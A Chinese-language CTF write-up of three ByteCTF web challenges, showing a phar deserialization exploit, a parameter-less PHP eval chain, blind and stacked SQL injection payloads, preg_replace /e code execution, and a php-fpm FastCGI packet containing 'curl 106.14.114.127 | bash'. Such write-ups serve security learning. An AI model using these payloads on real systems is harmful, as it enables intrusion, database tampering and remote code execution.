Bytectf-几道web总结
1.EZcms
这道题思路挺明确,给了源码,考点就是md5哈希扩展+phar反序列化
首先这道题会在上传的文件目录下生成无效的.htaccess,从而导致无法执行上传的webshell,所以就需要想办法删除掉.htaccess
这里主要记录一点,利用php内置类进行文件操作,
exp为:
<?php
class File{
public $filename;
public $filepath;
public $checker; function __construct() {
$this->checker = new Profile();
}
} class Profile{ public $username;
public $password;
public $admin; function __construct() {
$this->admin = new ZipArchive;
$this->username = '/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
$this->password = ZIPARCHIVE::OVERWRITE;
}
} @unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
通过反序列化File类,从而调用Profile类的upload_file函数,此时触发Profile类的call方法,
这里实际调用了open方法,其实Profile类里没有这个方法,所以去内置类中找,并且admin可控为任何内置类,这里用到了Archive::open方法来覆盖写文件,当然这是一个原题的知识点,这里记录一下如何找到它,fuzz的代码如下:
<?php
echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){ $arr_func=get_class_methods($class);
echo $class."\n";
var_dump($arr_func);
}
通过get_declared_classes和get_class_methods方法就能够获得php所有内置类对应的方法,此时只要进行一个简单的字符串匹配,就能找到同名的所需要的函数,以后遇到需要用到内置类的同名方法时也能够进行快速fuzz
<?php
#echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){ $arr_func=get_class_methods($class);
foreach($arr_func as $func){
if($func=="open"){
echo $class." ".$func."\n";
}
}
}
其中open函数可以指定覆盖模式,此时第一参数即为要删除的文件名,此时就能够满足对.htaccess文件的删除,后续操作即上传phar文件,利用suctf中
php://filter/resource=phar://来进行phar反序列化,这里上传shell时会对内容过滤一些常见关键字:
使用php字符串连接.点绕过即可
2.Boring code
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
} if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
取$url下的内容传入eval执行,这里过滤了data协议,否则可以通过
data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=
来绕过preg_match的检查,这里目前我知道有三种解决方法:
1.可以直接购买一个xxxxxbaidu.com的域名
2.或者利用百度的url跳转
3.利用百度云自动生成的链接
这里将直接显示文件完整的链接,此时在php中使用file_get_contents试试:
此时能够直接对远程文件内容进行获取,也满足了题目baidu.com的条件的限制,此时第一层preg已经可以绕过,
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code))
这里用到了递归匹配,即最终匹配到的函数调用格式只能是a(b(c())),并且是无参数的
https://zh.functions-online.com/preg_replace.html
又因为题目的flag已经提示在../index.php,所以要读到这个文件:
readfile(end(scandir('.')));
以上一段代码会返回当前文件夹的最后一个文件
而当前正则不能使用.点,所以要构造出一个.点,
关键函数1:
localeconv,函数返回一包含本地数字及货币格式信息的数组。
结合pos函数或者current函数获取数组中的指定元素,默认是第一个元素,当然可以结合next函数返回第二个元素;
因为此时要跨目录,所以需要chdir切换一下目录
此时可以使用chdir切换目录,但是chdir返回值为1或者0,不能够返回一个.点,因此使用localtime()+time()函数结合起来可以返回1个int数组,此时使用pos()函数获取第一个元素
即为当前秒数,那么当为每分钟46秒时将结合chr函数返回.点。
所以此时payload已经很明确,为:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
此时只要将payload放到百度云盘上,并获取此链接,然后再burp重复发包即可,这里也可以使用如下的payload:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
利用if(1),从而来执行readfile()函数
3.BabyBlog
这道题主要是二次注入,这里主要漏洞点在$content,这里直接使用addslashes进行一个转义
而在edit.php中,这里直接将存进库中的title数据查出来并拼接到update语句中,所以这里明显存在二次注入,脏数据没有进行过滤,只是进行了入库前的转义,从而导致漏洞的产生,这里引入了config.php来对get和post的参数进行了检测
注入点在此,并且在replace.php中,这里可以拼接preg_match,并且php的版本为5.3.29,php版本5.4以下都存在%00截断问题,以及结合/e选项进行代码执行
这里$_POST['find']=.*/e%00 $_POST['replace']=phpinfo();
preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']
就能够执行phpinfo();
而在register.php中,我们已经知道此时注册的用户默认isvip等于0,那么只有通过注入来实现让isvip为1,那么有两种方法:
1.通过注入来找到数据库中已经存在的isvip为1的用户;
2.通过注入来将当前我们注册的用户的isvip字段更新为1;
第一种方法:
第一种方法,貌似不是出题人的主要考点,初始数据库中没有任何用户,第二种方法我觉得才是预期做法,利用PDO在php5.3以后是支持堆叠查询,从而更新当前用户的is_vip字段
首先注册一个用户,此时可以看到isvip为0,在writing.php页面,因为已经知道注入点在title字段,所以我们此时提交注入的payload,当然在这里本地肯定一定要测试一下payload,能否通过waf检测
<?php
$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'root', 'root') or die("SQL Server Down T.T");
function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is',$value)){
echo preg_replace('/'.$filter.'/is',"@@@",$value);
echo "123";
}
else{
echo "321";
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
本地测试payload:
1' ^ (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1) ^'1
此时select a from b这种形式被过滤了
但是可以用select(a)from b
综上payload可以更换为:
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1) ^ '1
此时我们可以测试一下:
当提交如上payload,即取所有表名连接起来的第一位ascii大于1,此时update的where拼接应该是:
where title='1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1) ^ '1'
此时更新这条blog的title为12345
此时我们对应的id的title和content将被更新为12345,默认为最新的一条blog,因为此时where条件为1
那么另一种逻辑为:
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200) ^ '1
此时edit更新其值是不能成功的,因为where条件为0
当然在命令行下也是可以验证这种逻辑的,因此基于这种逻辑就能够依次暴库、表、字段,所以编写脚本时只需要注意两点:
1.在writing.php写payload
2.在edit.php更新blog,因为需要更新最新的一条为含有payload的blog,而每条blog有对应的id,因此需要正则匹配所有的id号并取列表第一个即为最新的id,此时更改此条id的blog,若当前查的数据ascii为10,payload为<10,则更新成功,依次增大payload中ascii码,直到更新失败,此时ascii-1即为当前查的数据的ascii码值
基于以上两条即可得到isvip为1的用户的账号和密码,前提是别人已经更新成功isvip为1的用户。
第二种方法
第二种采用堆叠注入的形式,直接update当前用户为isvip为1
payload为:
tr1ple';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d22747231706c65223b;PREPARE sql FROM @SQL;EXECUTE sql;#
这样就能更新tr1ple用户的isvip为1
并且此时本地测试payload是可以通过的
此时回到数据库中可以看到此时isvip已经为1,那么此时就可以进行第二步了,结合preg_match的%00截断正则匹配表达式,并且此时配合/e参数来进行rce
后面就是常规的套路,绕过openbase_dir和绕过disable_function
<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
此时可以用以上代码进行bypass列文件,可以在根目录发现readflag,一般来说肯定要调用readflag来读取flag,所以此时要执行readflag,没有禁用error_log,因此可以使用putenv+error_log来进行bypass diable_function,当然这道题也可以用打php-fpm来绕过openbase_dir和disable_function
$fp = stream_socket_client("套接字地址", $errno, $errstr,30);
$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");
stream_socket_sendto($fp,$out);
while (!feof($fp))
{echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);
这里可以直接与目标unix 套接字进行通信,其中变量$out即为发送到目标套接字的地址,payload可以根据p牛的python脚本进行更改,改为只输入payload不发出payload,此时再通过此执行此php文件来
php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = tr1ple.so\nauto_prepen_file=php://input
这样我们就可以上传该exp文件,并且上传so文件到tmp目录,然后打php-fpm,只需要php://input中结putenv+errorlog即可进行rce
Bytectf-几道web总结的更多相关文章
- 几道web题简单总结
拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西 1.homebrew event loop ddctf的一道题目,学到了python eval函数的用法 ...
- 2019balsn两道web和2019巅峰极客一道web记录
遇到3道有点意思的web,记录一下~ web1 题目地址:http://warmup.balsnctf.com/ 源码如下所示: <?php if (($secret = base64_deco ...
- 几道web前端练习题目
在 HTML 语言中,以下哪个属性不是通用属性?A]<class>B]<title>C]<href>D]<style> 在线练习:http://hove ...
- CISCN final 几道web题总结
因为都有源码,所以这里直接从源码开始分析: 1.Easy web 这道题本来的意思应该是通过注入来load_file读取config.php来泄露cookie的加密密钥,从而伪造身份进行登陆再上传sh ...
- 2019全国大学生信息安全大赛两道web
简单小结 菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势. Web Justsoso 打开题目,源代码出存在提示: 使用LFI读取index.php与hint.php http://d4dc224 ...
- 2019CISCN华南线下两道web复现
原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RC ...
- 老板,来几道web玩玩
好久没做web了,没想到还能自己做出来555 [MRCTF2020]Ez_bypass 签到题8 给了源码,一个md5强类型比较,然后post传参,弱类型判断,直接1234567a绕过了 I put ...
- CTF 两道web整数溢出题目(猫咪银行和ltshop)
①猫咪银行: (2018中科大hackgame) 一开始给十个CTB,而flag需要20个CTB,我们需要理财赚够20个. 理财是只能买入TDSU才可以获得收益.我们先上来直接把CTB全部换成TDSU ...
- DASCTF七月赛两道Web题复现
Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...
随机推荐
- .NET World——gPRC概览
什么是gRPC 官方的定义: gRPC is a modern open source high performance RPC framework that can run in any envir ...
- exlipse php 插件安装地址
以前的exlipse PHP插件老是有问题,下面这个地址可以使用. http://www.phpsrc.org/eclipse/pti/
- DRF (Django REST framework) 中的Request 与 Response
DRF中的Request 与 Response 1. Request - REST framework 传入视图的request对象不再是Django默认的HttpRequest对象,而是REST f ...
- Zabbix4.0安装浅谈
一.此篇文章存在意义 针对超级小白,大神绕过 在zabbix官网https://www.zabbix.com/download里,需要数据库,但是并没有指导小白的我们如何安装数据库,此文章包含了Mys ...
- Example With JdbcDaoSupport
By extended the JdbcDaoSupport, set the datasource and JdbcTemplate in your class is no longer requi ...
- spring中的事件 applicationevent 讲的确实不错(转)
event,listener是observer模式一种体现,在spring 3.0.5中,已经可以使用annotation实现event和eventListner里. 我们以spring-webflo ...
- arcgis三维球中加载2000坐标系出现错误(The tiling scheme of this layer is not supported by SceneView)
目前我们国家测绘地理信息的坐标体系基准是国家2000坐标系CGCS2000.各类地图组件如OpenLayers.Mapbox.Cesuim和ArcGIS Javascrip等都主要是支持WGS84(w ...
- CSS3-------弹簧特效
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- win命令获取外网ip
win命令: chcp 65001 curl https://ip.cn bat: @echo offchcp 65001 && curl https://ip.cnpause 链接: ...
- Redis持久化的原理及优化
更多内容,欢迎关注微信公众号:全菜工程师小辉~ Redis提供了将数据定期自动持久化至硬盘的能力,包括RDB和AOF两种方案,两种方案分别有其长处和短板,可以配合起来同时运行,确保数据的稳定性. RD ...